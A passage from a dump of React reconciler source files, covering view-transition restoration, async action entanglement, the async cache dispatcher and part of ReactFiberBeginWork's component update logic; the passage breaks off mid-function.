{\n  const deletions = parentFiber.deletions;\n  if (deletions !== null) {\n    for (let i = 0; i < deletions.length; i++) {\n      const childToDelete = deletions[i];\n      restoreEnterOrExitViewTransitions(childToDelete);\n    }\n  }\n\n  if (\n    parentFiber.alternate === null ||\n    (parentFiber.subtreeFlags & MutationMask) !== NoFlags\n  ) {\n    // If we have mutations or if this is a newly inserted tree, clone as we go.\n    let child = parentFiber.child;\n    while (child !== null) {\n      restoreViewTransitionsOnFiber(child);\n      child = child.sibling;\n    }\n  } else {\n    // Nothing has changed in this subtree, but the parent may have still affected\n    // its size and position. We need to measure the old and new state to see if\n    // we should animate its size and position.\n    restoreNestedViewTransitions(parentFiber);\n  }\n}\n\nfunction restoreViewTransitionsOnFiber(finishedWork: Fiber) {\n  const current = finishedWork.alternate;\n  if (current === null) {\n    restoreEnterOrExitViewTransitions(finishedWork);\n    return;\n  }\n\n  const flags = finishedWork.flags;\n  // The effect flag should be checked *after* we refine the type of fiber,\n  // because the fiber tag is more specific. An exception is any flag related\n  // to reconciliation, because those can be set on all fiber types.\n  switch (finishedWork.tag) {\n    case HostPortal: {\n      // TODO: Consider what should happen to Portals. For now we exclude them.\n      break;\n    }\n    case OffscreenComponent: {\n      if (flags & Visibility) {\n        const newState: OffscreenState | null = finishedWork.memoizedState;\n        const isHidden = newState !== null;\n        if (!isHidden) {\n          restoreEnterOrExitViewTransitions(finishedWork);\n        } else if (current !== null && current.memoizedState === null) {\n          // Was previously mounted as visible but is now hidden.\n          restoreEnterOrExitViewTransitions(current);\n        }\n      }\n      break;\n    }\n    case ViewTransitionComponent:\n      restoreUpdateViewTransitionForGesture(current, finishedWork);\n      recursivelyRestoreViewTransitions(finishedWork);\n      break;\n    default: {\n      recursivelyRestoreViewTransitions(finishedWork);\n      break;\n    }\n  }\n}\n\n// Revert transition names and start/adjust animations on the started View Transition.\nexport function startGestureAnimations(\n  root: FiberRoot,\n  finishedWork: Fiber,\n): void {\n  restoreViewTransitionsOnFiber(finishedWork);\n  restoreRootViewTransitionName(root.containerInfo);\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberAsyncAction.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {Lane} from './ReactFiberLane';\nimport type {Transition} from 'react/src/ReactStartTransition';\n\nimport {\n  requestTransitionLane,\n  ensureScheduleIsScheduled,\n} from './ReactFiberRootScheduler';\nimport {NoLane} from './ReactFiberLane';\nimport {\n  hasScheduledTransitionWork,\n  clearAsyncTransitionTimer,\n} from './ReactProfilerTimer';\nimport {\n  enableComponentPerformanceTrack,\n  enableProfilerTimer,\n  enableDefaultTransitionIndicator,\n} from 'shared/ReactFeatureFlags';\nimport {clearEntangledAsyncTransitionTypes} from './ReactFiberTransitionTypes';\n\nimport noop from 'shared/noop';\nimport reportGlobalError from 'shared/reportGlobalError';\n\n// If there are multiple, concurrent async actions, they are entangled. All\n// transition updates that occur while the async action is still in progress\n// are treated as part of the action.\n//\n// The ideal behavior would be to treat each async function as an independent\n// action. However, without a mechanism like AsyncContext, we can't tell which\n// action an update corresponds to. So instead, we entangle them all into one.\n\n// The listeners to notify once the entangled scope completes.\nlet currentEntangledListeners: Array<() => mixed> | null = null;\n// The number of pending async actions in the entangled scope.\nlet currentEntangledPendingCount: number = 0;\n// The transition lane shared by all updates in the entangled scope.\nlet currentEntangledLane: Lane = NoLane;\n// A thenable that resolves when the entangled scope completes. It does not\n// resolve to a particular value because it's only used for suspending the UI\n// until the async action scope has completed.\nlet currentEntangledActionThenable: Thenable<void> | null = null;\n\n// Track the default indicator for every root. undefined means we haven't\n// had any roots registered yet. null means there's more than one callback.\n// If there's more than one callback we bailout to not supporting isomorphic\n// default indicators.\nlet isomorphicDefaultTransitionIndicator:\n  | void\n  | null\n  | (() => void | (() => void)) = undefined;\n// The clean up function for the currently running indicator.\nlet pendingIsomorphicIndicator: null | (() => void) = null;\n// The number of roots that have pending Transitions that depend on the\n// started isomorphic indicator.\nlet pendingEntangledRoots: number = 0;\nlet needsIsomorphicIndicator: boolean = false;\n\nexport function entangleAsyncAction<S>(\n  transition: Transition,\n  thenable: Thenable<S>,\n): Thenable<S> {\n  // `thenable` is the return value of the async action scope function. Create\n  // a combined thenable that resolves once every entangled scope function\n  // has finished.\n  if (currentEntangledListeners === null) {\n    // There's no outer async action scope. Create a new one.\n    const entangledListeners = (currentEntangledListeners = []);\n    currentEntangledPendingCount = 0;\n    currentEntangledLane = requestTransitionLane(transition);\n    const entangledThenable: Thenable<void> = {\n      status: 'pending',\n      value: undefined,\n      then(resolve: void => mixed) {\n        entangledListeners.push(resolve);\n      },\n    };\n    currentEntangledActionThenable = entangledThenable;\n    if (enableDefaultTransitionIndicator) {\n      needsIsomorphicIndicator = true;\n      // We'll check if we need a default indicator in a microtask. Ensure\n      // we have this scheduled even if no root is scheduled.\n      ensureScheduleIsScheduled();\n    }\n  }\n  currentEntangledPendingCount++;\n  thenable.then(pingEngtangledActionScope, pingEngtangledActionScope);\n  return thenable;\n}\n\nfunction pingEngtangledActionScope() {\n  if (--currentEntangledPendingCount === 0) {\n    if (enableProfilerTimer && enableComponentPerformanceTrack) {\n      if (!hasScheduledTransitionWork()) {\n        // If we have received no updates since we started the entangled Actions\n        // that means it didn't lead to a Transition being rendered. We need to\n        // clear the timer so that if we start another entangled sequence we use\n        // the next start timer instead of appearing like we were blocked the\n        // whole time. We currently don't log a track for Actions that don't\n        // render a Transition.\n        clearAsyncTransitionTimer();\n      }\n    }\n    clearEntangledAsyncTransitionTypes();\n    if (pendingEntangledRoots === 0) {\n      stopIsomorphicDefaultIndicator();\n    }\n    if (currentEntangledListeners !== null) {\n      // All the actions have finished. Close the entangled async action scope\n      // and notify all the listeners.\n      if (currentEntangledActionThenable !== null) {\n        const fulfilledThenable: FulfilledThenable<void> =\n          (currentEntangledActionThenable: any);\n        fulfilledThenable.status = 'fulfilled';\n      }\n      const listeners = currentEntangledListeners;\n      currentEntangledListeners = null;\n      currentEntangledLane = NoLane;\n      currentEntangledActionThenable = null;\n      needsIsomorphicIndicator = false;\n      for (let i = 0; i < listeners.length; i++) {\n        const listener = listeners[i];\n        listener();\n      }\n    }\n  }\n}\n\nexport function chainThenableValue<T>(\n  thenable: Thenable<T>,\n  result: T,\n): Thenable<T> {\n  // Equivalent to: Promise.resolve(thenable).then(() => result), except we can\n  // cheat a bit since we know that that this thenable is only ever consumed\n  // by React.\n  //\n  // We don't technically require promise support on the client yet, hence this\n  // extra code.\n  const listeners = [];\n  const thenableWithOverride: Thenable<T> = {\n    status: 'pending',\n    value: null,\n    reason: null,\n    then(resolve: T => mixed) {\n      listeners.push(resolve);\n    },\n  };\n  thenable.then(\n    (value: T) => {\n      const fulfilledThenable: FulfilledThenable<T> =\n        (thenableWithOverride: any);\n      fulfilledThenable.status = 'fulfilled';\n      fulfilledThenable.value = result;\n      for (let i = 0; i < listeners.length; i++) {\n        const listener = listeners[i];\n        listener(result);\n      }\n    },\n    error => {\n      const rejectedThenable: RejectedThenable<T> = (thenableWithOverride: any);\n      rejectedThenable.status = 'rejected';\n      rejectedThenable.reason = error;\n      for (let i = 0; i < listeners.length; i++) {\n        const listener = listeners[i];\n        // This is a perf hack where we call the `onFulfill` ping function\n        // instead of `onReject`, because we know that React is the only\n        // consumer of these promises, and it passes the same listener to both.\n        // We also know that it will read the error directly off the\n        // `.reason` field.\n        listener((undefined: any));\n      }\n    },\n  );\n  return thenableWithOverride;\n}\n\nexport function peekEntangledActionLane(): Lane {\n  return currentEntangledLane;\n}\n\nexport function peekEntangledActionThenable(): Thenable<void> | null {\n  return currentEntangledActionThenable;\n}\n\nexport function registerDefaultIndicator(\n  onDefaultTransitionIndicator: () => void | (() => void),\n): void {\n  if (!enableDefaultTransitionIndicator) {\n    return;\n  }\n  if (isomorphicDefaultTransitionIndicator === undefined) {\n    isomorphicDefaultTransitionIndicator = onDefaultTransitionIndicator;\n  } else if (\n    isomorphicDefaultTransitionIndicator !== onDefaultTransitionIndicator\n  ) {\n    isomorphicDefaultTransitionIndicator = null;\n    // Stop any on-going indicator since it's now ambiguous.\n    stopIsomorphicDefaultIndicator();\n  }\n}\n\nexport function startIsomorphicDefaultIndicatorIfNeeded() {\n  if (!enableDefaultTransitionIndicator) {\n    return;\n  }\n  if (!needsIsomorphicIndicator) {\n    return;\n  }\n  if (\n    isomorphicDefaultTransitionIndicator != null &&\n    pendingIsomorphicIndicator === null\n  ) {\n    try {\n      pendingIsomorphicIndicator =\n        isomorphicDefaultTransitionIndicator() || noop;\n    } catch (x) {\n      pendingIsomorphicIndicator = noop;\n      reportGlobalError(x);\n    }\n  }\n}\n\nfunction stopIsomorphicDefaultIndicator() {\n  if (!enableDefaultTransitionIndicator) {\n    return;\n  }\n  if (pendingIsomorphicIndicator !== null) {\n    const cleanup = pendingIsomorphicIndicator;\n    pendingIsomorphicIndicator = null;\n    cleanup();\n  }\n}\n\nfunction releaseIsomorphicIndicator() {\n  if (--pendingEntangledRoots === 0) {\n    stopIsomorphicDefaultIndicator();\n  }\n}\n\nexport function hasOngoingIsomorphicIndicator(): boolean {\n  return pendingIsomorphicIndicator !== null;\n}\n\nexport function retainIsomorphicIndicator(): () => void {\n  pendingEntangledRoots++;\n  return releaseIsomorphicIndicator;\n}\n\nexport function markIsomorphicIndicatorHandled(): void {\n  needsIsomorphicIndicator = false;\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberAsyncDispatcher.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AsyncDispatcher, Fiber} from './ReactInternalTypes';\nimport type {Cache} from './ReactFiberCacheComponent';\n\nimport {readContext} from './ReactFiberNewContext';\nimport {CacheContext} from './ReactFiberCacheComponent';\n\nimport {current as currentOwner} from './ReactCurrentFiber';\n\nfunction getCacheForType<T>(resourceType: () => T): T {\n  const cache: Cache = readContext(CacheContext);\n  let cacheForType: T | void = (cache.data.get(resourceType): any);\n  if (cacheForType === undefined) {\n    cacheForType = resourceType();\n    cache.data.set(resourceType, cacheForType);\n  }\n  return cacheForType;\n}\n\nfunction cacheSignal(): null | AbortSignal {\n  const cache: Cache = readContext(CacheContext);\n  return cache.controller.signal;\n}\n\nexport const DefaultAsyncDispatcher: AsyncDispatcher = ({\n  getCacheForType,\n  cacheSignal,\n}: any);\n\nif (__DEV__) {\n  DefaultAsyncDispatcher.getOwner = (): null | Fiber => {\n    return currentOwner;\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberBeginWork.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactConsumerType,\n  ReactContext,\n  ReactNodeList,\n  ViewTransitionProps,\n  ActivityProps,\n  SuspenseProps,\n  SuspenseListProps,\n  SuspenseListRevealOrder,\n  SuspenseListTailMode,\n  TracingMarkerProps,\n  CacheProps,\n  ProfilerProps,\n} from 'shared/ReactTypes';\nimport type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {TypeOfMode} from './ReactTypeOfMode';\nimport type {Lanes, Lane} from './ReactFiberLane';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {\n  SuspenseState,\n  SuspenseListRenderState,\n} from './ReactFiberSuspenseComponent';\nimport type {SuspenseContext} from './ReactFiberSuspenseContext';\nimport type {\n  LegacyHiddenProps,\n  OffscreenProps,\n  OffscreenState,\n  OffscreenQueue,\n  OffscreenInstance,\n} from './ReactFiberOffscreenComponent';\nimport type {\n  Cache,\n  CacheComponentState,\n  SpawnedCachePool,\n} from './ReactFiberCacheComponent';\nimport type {UpdateQueue} from './ReactFiberClassUpdateQueue';\nimport type {RootState} from './ReactFiberRoot';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\n\nimport {\n  markComponentRenderStarted,\n  markComponentRenderStopped,\n  setIsStrictModeForDevtools,\n} from './ReactFiberDevToolsHook';\nimport {\n  FunctionComponent,\n  ClassComponent,\n  HostRoot,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostPortal,\n  ForwardRef,\n  Fragment,\n  Mode,\n  ContextProvider,\n  ContextConsumer,\n  Profiler,\n  SuspenseComponent,\n  SuspenseListComponent,\n  MemoComponent,\n  SimpleMemoComponent,\n  LazyComponent,\n  IncompleteClassComponent,\n  IncompleteFunctionComponent,\n  ScopeComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  CacheComponent,\n  TracingMarkerComponent,\n  Throw,\n  ViewTransitionComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\nimport {\n  NoFlags,\n  PerformedWork,\n  Placement,\n  Hydrating,\n  Callback,\n  ContentReset,\n  DidCapture,\n  Update,\n  Ref,\n  RefStatic,\n  ChildDeletion,\n  ForceUpdateForLegacySuspense,\n  StaticMask,\n  ShouldCapture,\n  ForceClientRender,\n  Passive,\n  DidDefer,\n  ViewTransitionNamedStatic,\n  ViewTransitionNamedMount,\n  LayoutStatic,\n} from './ReactFiberFlags';\nimport {\n  disableLegacyContext,\n  disableLegacyContextForFunctionComponents,\n  enableProfilerCommitHooks,\n  enableProfilerTimer,\n  enableScopeAPI,\n  enableSchedulingProfiler,\n  enableTransitionTracing,\n  enableLegacyHidden,\n  enableCPUSuspense,\n  disableLegacyMode,\n  enableViewTransition,\n  enableFragmentRefs,\n} from 'shared/ReactFeatureFlags';\nimport shallowEqual from 'shared/shallowEqual';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport ReactStrictModeWarnings from './ReactStrictModeWarnings';\nimport {\n  REACT_LAZY_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_CONTEXT_TYPE,\n} from 'shared/ReactSymbols';\nimport {setCurrentFiber} from './ReactCurrentFiber';\nimport {\n  resolveFunctionForHotReloading,\n  resolveForwardRefForHotReloading,\n  resolveClassForHotReloading,\n} from './ReactFiberHotReloading';\n\nimport {\n  mountChildFibers,\n  reconcileChildFibers,\n  cloneChildFibers,\n  validateSuspenseListChildren,\n} from './ReactChildFiber';\nimport {\n  processUpdateQueue,\n  cloneUpdateQueue,\n  initializeUpdateQueue,\n  enqueueCapturedUpdate,\n  suspendIfUpdateReadFromEntangledAsyncAction,\n} from './ReactFiberClassUpdateQueue';\nimport {\n  NoLane,\n  NoLanes,\n  OffscreenLane,\n  DefaultLane,\n  SomeRetryLane,\n  includesSomeLane,\n  includesOnlyRetries,\n  laneToLanes,\n  removeLanes,\n  mergeLanes,\n  getBumpedLaneForHydration,\n  pickArbitraryLane,\n} from './ReactFiberLane';\nimport {\n  ConcurrentMode,\n  NoMode,\n  ProfileMode,\n  StrictLegacyMode,\n} from './ReactTypeOfMode';\nimport {\n  shouldSetTextContent,\n  isSuspenseInstancePending,\n  isSuspenseInstanceFallback,\n  getSuspenseInstanceFallbackErrorDetails,\n  supportsHydration,\n  supportsResources,\n  supportsSingletons,\n  isPrimaryRenderer,\n  getResource,\n  createHoistableInstance,\n  HostTransitionContext,\n} from './ReactFiberConfig';\nimport type {ActivityInstance, SuspenseInstance} from './ReactFiberConfig';\nimport {shouldError, shouldSuspend} from './ReactFiberReconciler';\nimport {\n  pushHostContext,\n  pushHostContainer,\n  getRootHostContainer,\n} from './ReactFiberHostContext';\nimport {\n  suspenseStackCursor,\n  pushSuspenseListContext,\n  ForceSuspenseFallback,\n  hasSuspenseListContext,\n  setDefaultShallowSuspenseListContext,\n  setShallowSuspenseListContext,\n  pushPrimaryTreeSuspenseHandler,\n  pushFallbackTreeSuspenseHandler,\n  pushDehydratedActivitySuspenseHandler,\n  pushOffscreenSuspenseHandler,\n  reuseSuspenseHandlerOnStack,\n  popSuspenseHandler,\n} from './ReactFiberSuspenseContext';\nimport {\n  pushHiddenContext,\n  reuseHiddenContextOnStack,\n} from './ReactFiberHiddenContext';\nimport {findFirstSuspended} from './ReactFiberSuspenseComponent';\nimport {\n  pushProvider,\n  propagateContextChange,\n  lazilyPropagateParentContextChanges,\n  propagateParentContextChangesToDeferredTree,\n  checkIfContextChanged,\n  readContext,\n  prepareToReadContext,\n  scheduleContextWorkOnParentPath,\n} from './ReactFiberNewContext';\nimport {\n  renderWithHooks,\n  checkDidRenderIdHook,\n  bailoutHooks,\n  replaySuspendedComponentWithHooks,\n  renderTransitionAwareHostComponentWithHooks,\n} from './ReactFiberHooks';\nimport {stopProfilerTimerIfRunning} from './ReactProfilerTimer';\nimport {\n  getMaskedContext,\n  getUnmaskedContext,\n  hasContextChanged as hasLegacyContextChanged,\n  pushContextProvider as pushLegacyContextProvider,\n  isContextProvider as isLegacyContextProvider,\n  pushTopLevelContextObject,\n  invalidateContextProvider,\n} from './ReactFiberLegacyContext';\nimport {\n  getIsHydrating,\n  enterHydrationState,\n  reenterHydrationStateFromDehydratedActivityInstance,\n  reenterHydrationStateFromDehydratedSuspenseInstance,\n  resetHydrationState,\n  claimHydratableSingleton,\n  tryToClaimNextHydratableInstance,\n  tryToClaimNextHydratableTextInstance,\n  claimNextHydratableActivityInstance,\n  claimNextHydratableSuspenseInstance,\n  warnIfHydrating,\n  queueHydrationError,\n} from './ReactFiberHydrationContext';\nimport {\n  constructClassInstance,\n  mountClassInstance,\n  resumeMountClassInstance,\n  updateClassInstance,\n  resolveClassComponentProps,\n} from './ReactFiberClassComponent';\nimport {\n  createFiberFromTypeAndProps,\n  createFiberFromFragment,\n  createFiberFromOffscreen,\n  createWorkInProgress,\n  isSimpleFunctionComponent,\n  isFunctionClassComponent,\n} from './ReactFiber';\nimport {\n  scheduleUpdateOnFiber,\n  renderDidSuspendDelayIfPossible,\n  markSkippedUpdateLanes,\n  markRenderDerivedCause,\n  getWorkInProgressRoot,\n  peekDeferredLane,\n} from './ReactFiberWorkLoop';\nimport {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';\nimport {pushCacheProvider, CacheContext} from './ReactFiberCacheComponent';\nimport {\n  createCapturedValueFromError,\n  createCapturedValueAtFiber,\n} from './ReactCapturedValue';\nimport {OffscreenVisible} from './ReactFiberOffscreenComponent';\nimport {\n  createClassErrorUpdate,\n  initializeClassErrorUpdate,\n} from './ReactFiberThrow';\nimport {\n  getForksAtLevel,\n  isForkedChild,\n  pushTreeId,\n  pushMaterializedTreeId,\n} from './ReactFiberTreeContext';\nimport {\n  requestCacheFromPool,\n  pushRootTransition,\n  getSuspendedCache,\n  pushTransition,\n  getOffscreenDeferredCache,\n  getPendingTransitions,\n} from './ReactFiberTransition';\nimport {\n  getMarkerInstances,\n  pushMarkerInstance,\n  pushRootMarkerInstance,\n  TransitionTracingMarker,\n} from './ReactFiberTracingMarkerComponent';\nimport {callComponentInDEV, callRenderInDEV} from './ReactFiberCallUserSpace';\nimport {resolveLazy} from './ReactFiberThenable';\n\n// A special exception that's used to unwind the stack when an update flows\n// into a dehydrated boundary.\nexport const SelectiveHydrationException: mixed = new Error(\n  \"This is not a real error. It's an implementation detail of React's \" +\n    \"selective hydration feature. If this leaks into userspace, it's a bug in \" +\n    'React. Please file an issue.',\n);\n\nlet didReceiveUpdate: boolean = false;\n\nlet didWarnAboutBadClass;\nlet didWarnAboutContextTypeOnFunctionComponent;\nlet didWarnAboutContextTypes;\nlet didWarnAboutGetDerivedStateOnFunctionComponent;\nexport let didWarnAboutReassigningProps: boolean;\nlet didWarnAboutRevealOrder;\nlet didWarnAboutTailOptions;\nlet didWarnAboutClassNameOnViewTransition;\n\nif (__DEV__) {\n  didWarnAboutBadClass = ({}: {[string]: boolean});\n  didWarnAboutContextTypeOnFunctionComponent = ({}: {[string]: boolean});\n  didWarnAboutContextTypes = ({}: {[string]: boolean});\n  didWarnAboutGetDerivedStateOnFunctionComponent = ({}: {[string]: boolean});\n  didWarnAboutReassigningProps = false;\n  didWarnAboutRevealOrder = ({}: {[string]: boolean});\n  didWarnAboutTailOptions = ({}: {[string]: boolean});\n  didWarnAboutClassNameOnViewTransition = ({}: {[string]: boolean});\n}\n\nexport function reconcileChildren(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  nextChildren: any,\n  renderLanes: Lanes,\n) {\n  if (current === null) {\n    // If this is a fresh new component that hasn't been rendered yet, we\n    // won't update its child set by applying minimal side-effects. Instead,\n    // we will add them all to the child before it gets rendered. That means\n    // we can optimize this reconciliation pass by not tracking side-effects.\n    workInProgress.child = mountChildFibers(\n      workInProgress,\n      null,\n      nextChildren,\n      renderLanes,\n    );\n  } else {\n    // If the current child is the same as the work in progress, it means that\n    // we haven't yet started any work on these children. Therefore, we use\n    // the clone algorithm to create a copy of all the current children.\n\n    // If we had any progressed work already, that is invalid at this point so\n    // let's throw it out.\n    workInProgress.child = reconcileChildFibers(\n      workInProgress,\n      current.child,\n      nextChildren,\n      renderLanes,\n    );\n  }\n}\n\nfunction forceUnmountCurrentAndReconcile(\n  current: Fiber,\n  workInProgress: Fiber,\n  nextChildren: any,\n  renderLanes: Lanes,\n) {\n  // This function is fork of reconcileChildren. It's used in cases where we\n  // want to reconcile without matching against the existing set. This has the\n  // effect of all current children being unmounted; even if the type and key\n  // are the same, the old child is unmounted and a new child is created.\n  //\n  // To do this, we're going to go through the reconcile algorithm twice. In\n  // the first pass, we schedule a deletion for all the current children by\n  // passing null.\n  workInProgress.child = reconcileChildFibers(\n    workInProgress,\n    current.child,\n    null,\n    renderLanes,\n  );\n  // In the second pass, we mount the new children. The trick here is that we\n  // pass null in place of where we usually pass the current child set. This has\n  // the effect of remounting all children regardless of whether their\n  // identities match.\n  workInProgress.child = reconcileChildFibers(\n    workInProgress,\n    null,\n    nextChildren,\n    renderLanes,\n  );\n}\n\nfunction updateForwardRef(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n) {\n  // TODO: current can be non-null here even if the component\n  // hasn't yet mounted. This happens after the first render suspends.\n  // We'll need to figure out if this is fine or can cause issues.\n  const render = Component.render;\n  const ref = workInProgress.ref;\n\n  let propsWithoutRef;\n  if ('ref' in nextProps) {\n    // `ref` is just a prop now, but `forwardRef` expects it to not appear in\n    // the props object. This used to happen in the JSX runtime, but now we do\n    // it here.\n    propsWithoutRef = ({}: {[string]: any});\n    for (const key in nextProps) {\n      // Since `ref` should only appear in props via the JSX transform, we can\n      // assume that this is a plain object. So we don't need a\n      // hasOwnProperty check.\n      if (key !== 'ref') {\n        propsWithoutRef[key] = nextProps[key];\n      }\n    }\n  } else {\n    propsWithoutRef = nextProps;\n  }\n\n  // The rest is a fork of updateFunctionComponent\n  prepareToReadContext(workInProgress, renderLanes);\n  if (enableSchedulingProfiler) {\n    markComponentRenderStarted(workInProgress);\n  }\n\n  const nextChildren = renderWithHooks(\n    current,\n    workInProgress,\n    render,\n    propsWithoutRef,\n    ref,\n    renderLanes,\n  );\n  const hasId = checkDidRenderIdHook();\n\n  if (enableSchedulingProfiler) {\n    markComponentRenderStopped();\n  }\n\n  if (current !== null && !didReceiveUpdate) {\n    bailoutHooks(current, workInProgress, renderLanes);\n    return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n  }\n\n  if (getIsHydrating() && hasId) {\n    pushMaterializedTreeId(workInProgress);\n  }\n\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  reconcileChildren(current, workInProgress, nextChildren, renderLanes);\n  return workInProgress.child;\n}\n\nfunction updateMemoComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n): null | Fiber {\n  if (current === null) {\n    const type = Component.type;\n    if (isSimpleFunctionComponent(type) && Component.compare === null) {\n      let resolvedType = type;\n      if (__DEV__) {\n        resolvedType = resolveFunctionForHotReloading(type);\n      }\n      // If this is a plain function component without default props,\n      // and with only the default shallow comparison, we upgrade it\n      // to a SimpleMemoComponent to allow fast path updates.\n      workInProgress.tag = SimpleMemoComponent;\n      workInProgress.type = resolvedType;\n      if (__DEV__) {\n        validateFunctionComponentInDev(workInProgress, type);\n      }\n      return updateSimpleMemoComponent(\n        current,\n        workInProgress,\n        resolvedType,\n        nextProps,\n        renderLanes,\n      );\n    }\n    const child = createFiberFromTypeAndProps(\n      Component.type,\n      null,\n      nextProps,\n      workInProgress,\n      workInProgress.mode,\n      renderLanes,\n    );\n    child.ref = workInProgress.ref;\n    child.return = workInProgress;\n    workInProgress.child = child;\n    return child;\n  }\n  const currentChild = ((current.child: any): Fiber); // This is always exactly one child\n  const hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(\n    current,\n    renderLanes,\n  );\n  if (!hasScheduledUpdateOrContext) {\n    // This will be the props with resolved defaultProps,\n    // unlike current.memoizedProps which will be the unresolved ones.\n    const prevProps = currentChild.memoizedProps;\n    // Default to shallow comparison\n    let compare = Component.compare;\n    compare = compare !== null ? compare : shallowEqual;\n    if (compare(prevProps, nextProps) && current.ref === workInProgress.ref) {\n      return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n    }\n  }\n  // React DevTools reads this flag.\n  workInProgress.flags |= PerformedWork;\n  const newChild = createWorkInProgress(currentChild, nextProps);\n  newChild.ref = workInProgress.ref;\n  newChild.return = workInProgress;\n  workInProgress.child = newChild;\n  return newChild;\n}\n\nfunction updateSimpleMemoComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  Component: any,\n  nextProps: any,\n  renderLanes: Lanes,\n): null | Fiber {\n  // TODO: current can be non-null here even if the component\n  // hasn't yet mounted. This happens when the inner render suspends.\n  // We'll need to figure out if this is fine or can cause issues.\n  if (current !== null) {\n    const prevProps = current.memoizedProps;\n    if (\n      shallowEqual(prevProps, nextProps) &&\n      current.ref === workInProgress.ref &&\n      // Prevent bailout if the implementation changed due to hot reload.\n      (__DEV__ ? workInProgress.type === current.type : true)\n    ) {\n      didReceiveUpdate = false;\n\n      // The props are shallowly equal. Reuse the previous props object, like we\n      // would during a normal fiber bailout.\n      //\n      // We don't have strong guarantees that the props object is referentially\n      // equal during updates where we can't bail out anyway — like if the props\n      // are shallowly equal, but there's a local state or context update in the\n      // same batch.\n      //\n      // However, as a principle, we should aim to make the behavior consistent\n      // across different ways of memoizing a component. For example, React.memo\n      // has a different internal Fiber layout if you pass a normal function\n      // component (SimpleMemoComponent) versus if you pass a different type\n      // like forwardRef (MemoComponent). But this is an implementation detail.\n      // Wrapping a component in forwardRef (or React.lazy, etc) shouldn't\n      // affect whether the props object is reused during a bailout.\n      workInProgress.pendingProps = nextProps = prevProps;\n\n      if (!checkScheduledUpdateOrContext(current, renderLanes)) {\n        // The pending lanes were cleared at the beginning of beginWork. We're\n        // about to bail out, but there might be other lanes that weren't\n        // included in the current render. Usually, the priority level of the\n        // remaining updates is accumulated during the evaluation of the\n        // component (i.e. when processing the update queue). But since since\n        // we're bailing out early *without* evaluating the component, we need\n        // to account for it here, too. Reset to the value of the current fiber.\n        // NOTE: This only applies to SimpleMemoComponent, not MemoComponent,\n        // because a MemoComponent fiber does not have hooks or an update queue;\n        // rather, it wraps around an inner component, which may or may not\n        // contains hooks.\n        // TODO: Move the reset at in beginWork out of the common path so that\n        // this is no longer necessary.\n        workInProgress.lanes = current.lanes;\n        return bailoutOnAlreadyFinishedWork(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      } else if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {\n        // This is a special case that only exists for legacy mode.\n        // See https://github.com/facebook/react/pull/19216.\n        didReceiveUpdate = true;\n      }\n    }\n  }\n  return updateFunctionComponent(\n    current,\n    workInProgress,\n    Component,\n    nextProps,\n    renderLanes,\n  );\n}\n\nfunction updateOffscreenComponent(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n  nextProps: OffscreenProps,\n) {\n  const nextChildren = nextProps.children;\n\n  const prevState: OffscreenState | null =\n    current !== null ? current.memoizedState : null;\n\n  if (current === null && workInProgress.stateNode === null) {\n    // We previously reset the work-in-progress.\n    // We need to create a new Offscreen instance.\n    const primaryChildInstance: OffscreenInstance = {\n      _visibility: OffscreenVisible,\n      _pendingMarkers: null,\n      _retryCache: null,\n      _transitions: null,\n    };\n    workInProgress.stateNode = primaryChildInstance;\n  }\n\n  if (\n    nextProps.mode === 'hidden' ||\n    (enableLegacyHidden && nextProps.mode === 'unstable-defer-without-hiding')\n  ) {\n    // Rendering a hidden tree.\n\n    const didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;\n    if (didSuspend) {\n      // Something suspended inside a hidden tree\n\n      // Include the base lanes from the last render\n      const nextBaseLanes =\n        prevState !== null\n          ? mergeLanes(prevState.baseLanes, renderLanes)\n          : renderLanes;\n\n      let remainingChildLanes;\n      if (current !== null) {\n        // Reset to the current children\n        let currentChild = (workInProgress.child = current.child);\n\n        // The current render suspended, but there may be other lanes with\n        // pending work. We can't read `childLanes` from the current Offscreen\n        // fiber because we reset it when it was deferred; however, we can read\n        // the pending lanes from the child fibers.\n        let currentChildLanes: Lanes = NoLanes;\n        while (currentChild !== null) {\n          currentChildLanes = mergeLanes(\n            mergeLanes(currentChildLanes, currentChild.lanes),\n            